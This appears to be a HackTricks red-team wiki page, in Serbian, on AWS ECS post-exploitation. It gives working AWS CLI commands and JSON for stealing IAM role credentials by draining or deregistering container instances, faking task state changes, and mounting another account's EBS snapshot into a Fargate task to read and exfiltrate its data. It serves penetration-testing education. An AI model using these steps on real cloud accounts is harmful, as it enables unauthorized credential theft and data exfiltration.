AWS - ECS Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

ECS

Za više informacija pogledajte:

AWS - ECS Enum

Host IAM Roles

U ECS-u IAM role može biti dodeljena task-u koji se izvršava unutar containera. Ako task radi unutar EC2 instance, EC2 instance će imati pridruženu drugu IAM rolu.
Što znači da ako uspete da kompromitujete ECS instance potencijalno možete dobiti IAM rolu povezanu sa ECR-om i EC2 instancom. Za više informacija o tome kako da dobijete te kredencijale pogledajte:

Cloud SSRF - HackTricks

Caution

IMDSv2 sa hop limitom 1 ne blokira awsvpc ili host-networked tasks—samo Docker bridge tasks sede dovoljno daleko da odgovori nestanu. Pogledajte ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation za kompletan tok napada i napomene o bypass-ovanju. Nedavno Latacora research pokazuje da awsvpc i host taskovi i dalje preuzimaju host kredencijale čak i kada je IMDSv2+h=1 primenjen.

Privesc to node to steal other containers creds & secrets

Pored toga, EC2 koristi docker za pokretanje ECS taskova, pa ako možete da pobegnete na node ili pristupite docker socket-u, možete proveriti koji se drugi containeri pokreću, pa čak i ući u njih i ukrasti njihove IAM role.

Making containers run in current host

Pored toga, EC2 instance role obično ima dovoljno dozvola da ažurira stanje container instance EC2 instanci koje se koriste kao nodovi u klasteru. Napadač bi mogao promeniti stanje instance na DRAINING, nakon čega će ECS ukloniti sve taskove sa nje, a oni koji se izvršavaju kao REPLICA biće pokrenuti u drugoj instanci, potencijalno unutar napadačeve instance, tako da on može ukrasti njihove IAM role i eventualno osetljive informacije iz containera.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Ista tehnika se može izvesti tako što ćete deregister the EC2 instance from the cluster. Ovo je potencijalno manje stealthy, ali će to force the tasks to be run in other instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Poslednja tehnika za prisiljavanje ponovnog izvršavanja tasks je da se ECS-u naznači da je task ili container zaustavljen. Postoje 3 potencijalna APIs za to:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Ukradite osetljive informacije iz ECR kontejnera

EC2 instance će verovatno takođe imati dozvolu ecr:GetAuthorizationToken koja omogućava da download images (možete pretražiti osetljive informacije u njima).

Montirajte EBS snapshot direktno u ECS task (configuredAtLaunch + volumeConfigurations)

Iskoristite native ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno unutar novog ECS task/service i pročitate njegove podatke iz kontejnera.

  • Potrebno (najmanje):

  • ecs:RegisterTaskDefinition

  • Jedno od: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole na:

  • ECS infrastructure role korišćenu za volume-e (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referencirane u task definition

  • Ako je snapshot enkriptovan CMK-om: KMS permisije za infra rolu (AWS managed policy gore uključuje potrebne KMS grantove za AWS managed keys).

  • Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. baze podataka) unutar kontejnera i eksfiltracija preko mreže/logova.

Koraci (primer za Fargate):

  1. Kreirajte ECS infrastructure role (ako ne postoji) i pridružite managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registrujte task definition sa volume označenim configuredAtLaunch i mount-ujte ga u container. Primer (ispisuje secret pa spava):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a preko volumeConfigurations.managedEBSVolume (zahteva iam:PassRole na infra roli). Primer:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Kada se task pokrene, kontejner može da pročita sadržaj snapshot-a na konfigurisanoj putanji montiranja (npr. /loot). Exfiltrate putem mreže ili logova taska.

Čišćenje:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks